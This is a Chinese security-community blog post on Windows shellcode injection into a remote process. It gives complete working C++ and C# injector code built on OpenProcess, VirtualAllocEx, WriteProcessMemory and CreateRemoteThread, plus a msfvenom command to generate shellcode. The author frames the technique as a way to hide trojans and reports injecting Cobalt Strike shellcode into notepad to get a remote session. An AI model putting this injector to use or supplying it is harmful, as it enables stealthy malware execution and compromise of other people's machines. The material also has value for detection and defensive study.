初探代码注入 - 先知社区
2019-09-13 16:12:19 Author: xz.aliyun.com(查看原文) 阅读量:160 收藏

0x01介绍

最近在看如何执行shellcode的方法,发现了一种叫做代码注入的方式可以使用,查了下资料,技术很久就在用了,但现在还是有很多apt组织在使用,比如APT37,Backdoor.Oldrea,AuditCred,于是学习一下。木马和病毒的好坏很大程度上取决于它的隐蔽性,木马和病毒本质上也是在执行程序代码,如果采用独立进程的方式需要考虑隐藏进程否则很容易被发现,在编写这类程序的时候可以考虑将代码注入到其他进程中,而进程注入是一种在单独的进程的地址空间中执行任意代码的方法。本文将介绍代码注入的原理以及如何使用。

0x02常见函数

为了实现代码注入,微软提供了一个邪恶的函数CreateRemoteThread,想要执行用户代码,在Windows中最常见的就是使用回调的方式,Windows采用的是事件驱动的方式,只要发生了某些事件就会调用回调,在众多使用回调的场景中,线程的回调是最简单的,它不会干扰到目标进程的正常执行,也就不用考虑最后还原EIP的问题。最常见的就是使用CreateRemoteThread创建一个远程线程。

OpenProcess

要对进程执行内存操作,我们必须能够访问它。可以通过使用OpenProcess函数获得

HANDLE OpenProcess(
  DWORD dwDesiredAccess,//对进程对象的请求访问权限
  BOOL  bInheritHandle,//布尔值,指示此进程创建的进程是否将继承此句柄。
  DWORD dwProcessId//这是受害者进程的进程标识符
);

VirtualAllocEx

一旦我们获得受害者进程的句柄,我们继续为受害者进程内存中的shellcode分配空间。这是通过使用VirtualAllocEx 调用完成的。

LPVOID VirtualAllocEx(
  HANDLE hProcess,//我们想要分配内存的进程
  LPVOID lpAddress,//受害者进程内存中指定地址的指针
  SIZE_T dwSize,//分配的内存区域的大小
  DWORD  flAllocationType,//指定要分配的内存类型
  DWORD  flProtect//它指定分配的内存保护,我们将其设置为PAGE_EXECUTE_READWRITE。
);

WriteProcessMemory

WriteProcessMemory是一个将数据写入指定进程的内存区域的函数。需要注意的是整个内存区域必须是可写的,否则会失败,所以我们将内存分配为可写,并与可读和可执行文件一起分配。

BOOL WriteProcessMemory(
  HANDLE  hProcess,//我们想要写入数据的进程
  LPVOID  lpBaseAddress,//我们想要写入数据的地址
  LPCVOID lpBuffer,//指向必须写入的数据的指针
  SIZE_T  nSize,//写入的数据量
  SIZE_T  *lpNumberOfBytesWritten//指向SIZE_T的指针,它将存储写入该目标的字节数。
);

CreateRemoteThread

CreateRemoteThread是一个用于创建在另一个进程的虚拟空间中运行的线程的函数。

HANDLE CreateRemoteThread(
  HANDLE                 hProcess,// 目标进程句柄
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,// 安全属性
  SIZE_T                 dwStackSize, // 进程堆栈大小
  LPTHREAD_START_ROUTINE lpStartAddress,  // 进程函数
  LPVOID                 lpParameter, // 进程参数
  DWORD                  dwCreationFlags, // 创建标志
  LPDWORD                lpThreadId // 参数返回ID
);

0x03大概流程

通过CreateRemoteThread API 实现代码注入

  1. 选择一个受害者进程。
  2. 使用OpenProcess函数获取对进程的访问权限,以便能够执行所需的操作。
  3. 使用VirtualAllocEx函数在进程空间中分配内存。
  4. shellcode写入VirtualAllocEx分配的内存位置。
  5. 调用CreateRemoteThread

0x04 写代码

有了思路,就是写代码了,参考大佬的代码

VOID injectShellcode(DWORD dwPID) {

    BOOL    bWriteSuccess;
    DWORD   dwThreadId;
    HANDLE  hProcess;
    HANDLE  hRemoteThread;
    SIZE_T  numBytes;
    SIZE_T  payloadSize;
    LPVOID  lpRemoteMem;


    cout << "\t[*]获取进程PID : " << dwPID << endl;

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);

    if (hProcess == INVALID_HANDLE_VALUE)
    {
        cerr << "\t\t[!]获取远程进程的句柄失败" << endl;
        return;
    }

    cout << hex;
    cout << "\t\t[+] 进程句柄 : 0x" << hProcess << endl;

    lpRemoteMem = nullptr;

    cout << "\t[*] 为shellcode分配内存" << endl;

    lpRemoteMem = VirtualAllocEx(hProcess, nullptr, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (!lpRemoteMem)
    {
        cerr << "\t\t[!] 远程进程中分配内存失败." << endl;
        CloseHandle(hProcess);

        return;
    }

    cout << "\t\t[+] 分配内存 : 0x" << lpRemoteMem << endl;

    cout << "\t[*] 尝试将shellcode写入进程" << endl;

    payloadSize = sizeof(popCalc64);

    bWriteSuccess = WriteProcessMemory(hProcess, lpRemoteMem, popCalc64, payloadSize, &numBytes);

    if (!bWriteSuccess)
    {
        cerr << "\t\t[!] shellcode写入失败. ";// " << numBytes << " bytes instead of " << payloadSize << " bytes." << endl;

        CloseHandle(hProcess);
        return;
    }

    cout << "\t\t[+] 尝试将shellcode写入进程." << endl;

    cout << "\t[*] 创建一个新线程来执行shellcode." << endl;

    hRemoteThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpRemoteMem, nullptr, 0, &dwThreadId);

    if (!hRemoteThread)
    {
        cerr << "\t\t[!] 创建新线程失败." << endl;

        CloseHandle(hProcess);
        return;
    }

    cout << "\t\t[+] 进程创建成功: 0x" << dwThreadId << endl;

    WaitForSingleObject(hRemoteThread, INFINITE);

    CloseHandle(hRemoteThread);
    CloseHandle(hProcess);
}

0x05演示

好了,既然我们已经有了思路,也有方法了,就差实践了,那就弹个计算器试试

msfvenom -p windows/x64/exec CMD=calc -b "\x00" -f c

用msf生成shellcode

这里输入的PID是记事本的PID,可以看到成功打开计算器

shell

弹出计算器还远远达不到我们的要求,只有shell才是我最终的目的,这里使用cs自带的shellcode来演示,执行代码,输入记事本的PID

成功将shellcode注入记事本中,上线

0x06 最后

我们从开始原理到最后实现上线,基本知道了代码注入是啥,小弟也是第一次研究这个,有什么错误还请各位师傅指出!

另外附上c#版本代码

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Diagnostics;


[DllImport("Kernel32", SetLastError = true)]
        static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);

        [DllImport("Kernel32", SetLastError = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("Kernel32", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);

        [DllImport("Kernel32", SetLastError = true)]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, ref uint lpThreadId);

        [DllImport("Kernel32", SetLastError = true)]
        static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

        [DllImport("Kernel32", SetLastError = true)]
        static extern bool CloseHandle(IntPtr hObject);

        //http://www.pinvoke.net/default.aspx/kernel32/OpenProcess.html
        public enum ProcessAccessRights
        {
            All = 0x001F0FFF,
            Terminate = 0x00000001,
            CreateThread = 0x00000002,
            VirtualMemoryOperation = 0x00000008,
            VirtualMemoryRead = 0x00000010,
            VirtualMemoryWrite = 0x00000020,
            DuplicateHandle = 0x00000040,
            CreateProcess = 0x000000080,
            SetQuota = 0x00000100,
            SetInformation = 0x00000200,
            QueryInformation = 0x00000400,
            QueryLimitedInformation = 0x00001000,
            Synchronize = 0x00100000
        }

        //https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
        public enum MemAllocation
        {
            MEM_COMMIT = 0x00001000,
            MEM_RESERVE = 0x00002000,
            MEM_RESET = 0x00080000,
            MEM_RESET_UNDO = 0x1000000,
        }

        //https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants
        public enum MemProtect
        {
            PAGE_EXECUTE = 0x10,
            PAGE_EXECUTE_READ = 0x20,
            PAGE_EXECUTE_READWRITE = 0x40,
            PAGE_EXECUTE_WRITECOPY = 0x80,
            PAGE_NOACCESS = 0x01,
            PAGE_READONLY = 0x02,
            PAGE_READWRITE = 0x04,
            PAGE_WRITECOPY = 0x08,
            PAGE_TARGETS_INVALID = 0x40000000,
            PAGE_TARGETS_NO_UPDATE = 0x40000000,
        }


public static void CodeInject(int pid, byte[] buf)
        {
            try
            {
                uint lpNumberOfBytesWritten = 0;
                uint lpThreadId = 0;
                Console.WriteLine($"[+] Obtaining the handle for the process id {pid}.");
                IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)pid);
                Console.WriteLine($"[+] Handle {pHandle} opened for the process id {pid}.");
                Console.WriteLine($"[+] Allocating memory to inject the shellcode.");
                IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)buf.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
                Console.WriteLine($"[+] Memory for injecting shellcode allocated at 0x{rMemAddress}.");
                Console.WriteLine($"[+] Writing the shellcode at the allocated memory location.");
                if (WriteProcessMemory(pHandle, rMemAddress, buf, (uint)buf.Length, ref lpNumberOfBytesWritten))
                {
                    Console.WriteLine($"[+] Shellcode written in the process memory.");
                    Console.WriteLine($"[+] Creating remote thread to execute the shellcode.");
                    IntPtr hRemoteThread = CreateRemoteThread(pHandle, IntPtr.Zero, 0, rMemAddress, IntPtr.Zero, 0, ref lpThreadId);
                    bool hCreateRemoteThreadClose = CloseHandle(hRemoteThread);
                    Console.WriteLine($"[+] Sucessfully injected the shellcode into the memory of the process id {pid}.");
                }
                else
                {
                    Console.WriteLine($"[+] Failed to inject the shellcode into the memory of the process id {pid}.");
                }
                //WaitForSingleObject(hRemoteThread, 0xFFFFFFFF);
                bool hOpenProcessClose = CloseHandle(pHandle);
            }
            catch (Exception ex)
            {
                Console.WriteLine("[+] " + Marshal.GetExceptionCode());
                Console.WriteLine(ex.Message);
            }
        }

参考:

https://attack.mitre.org/techniques/T1055/

https://bbs.pediy.com/thread-119091.htm

https://pwnrip.com/demystifying-code-injection-techniques-part-1-shellcode-injection/

https://blog.csdn.net/lanuage/article/details/82561106


文章来源: https://xz.aliyun.com/t/6253
如有侵权请联系:admin#unsafe.sh